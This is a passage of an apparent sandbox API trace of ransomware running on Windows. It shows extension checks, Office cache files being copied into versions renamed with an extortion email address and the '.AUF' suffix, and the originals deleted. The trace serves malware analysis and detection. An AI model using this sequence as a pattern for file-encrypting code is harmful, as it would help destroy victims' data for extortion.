lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString=".7z") returned 3 [0204.203] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".dbf") returned 4 [0204.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".1cd") returned 4 [0204.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".jpg") returned 4 [0204.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.203] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.203] lstrlenW (lpString="Setup.xml") returned 9 [0204.203] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.204] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4207) returned 1 [0204.204] CloseHandle (hObject=0x168) returned 1 [0204.204] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.204] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.204] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.204] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.204] GetLastError () returned 0x0 [0204.204] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x106f, lpOverlapped=0x0) returned 1 [0204.212] WriteFile (in: hFile=0x16c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0204.212] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.212] WriteFile (in: hFile=0x16c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.213] SetEndOfFile (hFile=0x16c) returned 1 [0204.213] CloseHandle (hObject=0x16c) returned 1 [0204.213] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.213] SetEndOfFile (hFile=0x168) returned 1 [0204.214] CloseHandle (hObject=0x168) returned 1 [0204.214] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.218] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.221] lstrlenW (lpString=".doc") returned 4 [0204.221] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.221] lstrlenW (lpString=".docx") returned 5 [0204.222] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.223] lstrlenW (lpString=".pdf") returned 4 [0204.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.224] lstrlenW (lpString=".xls") returned 4 [0204.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.225] lstrlenW (lpString=".xlsx") returned 5 [0204.227] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.227] lstrlenW (lpString=".ppt") returned 4 [0204.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.231] lstrlenW (lpString=".zip") returned 4 [0204.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.231] lstrlenW (lpString=".rar") returned 4 [0204.231] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString=".bz2") returned 4 [0204.231] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString=".7z") returned 3 [0204.231] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.231] lstrlenW (lpString=".dbf") returned 4 [0204.231] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.231] lstrlenW (lpString=".1cd") returned 4 [0204.231] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.231] lstrlenW (lpString=".jpg") returned 4 [0204.231] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.231] lstrlenW (lpString=".doc") returned 4 [0204.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString=".docx") returned 5 [0204.231] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.231] lstrlenW (lpString=".pdf") returned 4 [0204.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString=".xls") returned 4 [0204.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.231] lstrlenW (lpString=".xlsx") returned 5 [0204.232] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.232] lstrlenW (lpString=".ppt") returned 4 [0204.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.232] lstrlenW (lpString=".zip") returned 4 [0204.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.232] lstrlenW (lpString=".rar") returned 4 [0204.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.232] lstrlenW (lpString=".bz2") returned 4 [0204.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.232] lstrlenW (lpString=".7z") returned 3 [0204.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.232] lstrlenW (lpString=".dbf") returned 4 [0204.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.232] lstrlenW (lpString=".1cd") returned 4 [0204.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.232] lstrlenW (lpString=".jpg") returned 4 [0204.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.232] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.232] lstrlenW (lpString="Setup.xml") returned 9 [0204.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.232] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2424) returned 1 [0204.232] CloseHandle (hObject=0x184) returned 1 [0204.232] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.233] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.233] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0204.234] GetLastError () returned 0x0 [0204.234] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x978, lpOverlapped=0x0) returned 1 [0204.245] WriteFile (in: hFile=0x188, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x980, lpOverlapped=0x0) returned 1 [0204.257] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.257] WriteFile (in: hFile=0x188, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.257] SetEndOfFile (hFile=0x188) returned 1 [0204.257] CloseHandle (hObject=0x188) returned 1 [0204.257] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.257] SetEndOfFile (hFile=0x184) returned 1 [0204.258] CloseHandle (hObject=0x184) returned 1 [0204.258] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.258] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString=".doc") returned 4 [0204.259] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".docx") returned 5 [0204.259] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.259] lstrlenW (lpString=".pdf") returned 4 [0204.259] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".xls") returned 4 [0204.259] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".xlsx") returned 5 [0204.259] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.259] lstrlenW (lpString=".ppt") returned 4 [0204.259] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString=".zip") returned 4 [0204.259] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.259] lstrlenW (lpString=".rar") returned 4 [0204.259] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".bz2") returned 4 [0204.259] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".7z") returned 3 [0204.259] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString=".dbf") returned 4 [0204.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString=".1cd") returned 4 [0204.259] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString=".jpg") returned 4 [0204.259] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.259] lstrlenW (lpString=".doc") returned 4 [0204.259] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".docx") returned 5 [0204.259] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.259] lstrlenW (lpString=".pdf") returned 4 [0204.259] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.259] lstrlenW (lpString=".xls") returned 4 [0204.259] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.260] lstrlenW (lpString=".xlsx") returned 5 [0204.260] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.260] lstrlenW (lpString=".ppt") returned 4 [0204.260] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.260] lstrlenW (lpString=".zip") returned 4 [0204.260] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.260] lstrlenW (lpString=".rar") returned 4 [0204.260] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.260] lstrlenW (lpString=".bz2") returned 4 [0204.260] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.260] lstrlenW (lpString=".7z") returned 3 [0204.260] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.260] lstrlenW (lpString=".dbf") returned 4 [0204.260] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.260] lstrlenW (lpString=".1cd") returned 4 [0204.260] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.260] lstrlenW (lpString=".jpg") returned 4 [0204.260] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.260] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.260] lstrlenW (lpString="WordMUI.xml") returned 11 [0204.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.260] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1800) returned 1 [0204.260] CloseHandle (hObject=0x184) returned 1 [0204.260] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0204.260] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.261] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.261] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0204.261] GetLastError () returned 0x0 [0204.261] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x708, lpOverlapped=0x0) returned 1 [0204.262] WriteFile (in: hFile=0x188, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x710, lpOverlapped=0x0) returned 1 [0204.263] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.263] WriteFile (in: hFile=0x188, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0204.263] SetEndOfFile (hFile=0x188) returned 1 [0204.263] CloseHandle (hObject=0x188) returned 1 [0204.263] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.263] SetEndOfFile (hFile=0x184) returned 1 [0204.264] CloseHandle (hObject=0x184) returned 1 [0204.264] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.264] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0204.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.264] lstrlenW (lpString=".doc") returned 4 [0204.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.264] lstrlenW (lpString=".docx") returned 5 [0204.264] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.265] lstrlenW (lpString=".pdf") returned 4 [0204.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString=".xls") returned 4 [0204.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString=".xlsx") returned 5 [0204.265] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.265] lstrlenW (lpString=".ppt") returned 4 [0204.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.265] lstrlenW (lpString=".zip") returned 4 [0204.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.265] lstrlenW (lpString=".rar") returned 4 [0204.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString=".bz2") returned 4 [0204.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString=".7z") returned 3 [0204.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.265] lstrlenW (lpString=".dbf") returned 4 [0204.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.265] lstrlenW (lpString=".1cd") returned 4 [0204.265] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.265] lstrlenW (lpString=".jpg") returned 4 [0204.265] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.266] lstrlenW (lpString=".doc") returned 4 [0204.266] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.266] lstrlenW (lpString=".docx") returned 5 [0204.266] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.266] lstrlenW (lpString=".pdf") returned 4 [0204.266] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.266] lstrlenW (lpString=".xls") returned 4 [0204.266] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.266] lstrlenW (lpString=".xlsx") returned 5 [0204.266] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.266] lstrlenW (lpString=".ppt") returned 4 [0204.266] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.266] lstrlenW (lpString=".zip") returned 4 [0204.266] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.267] lstrlenW (lpString=".rar") returned 4 [0204.267] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.267] lstrlenW 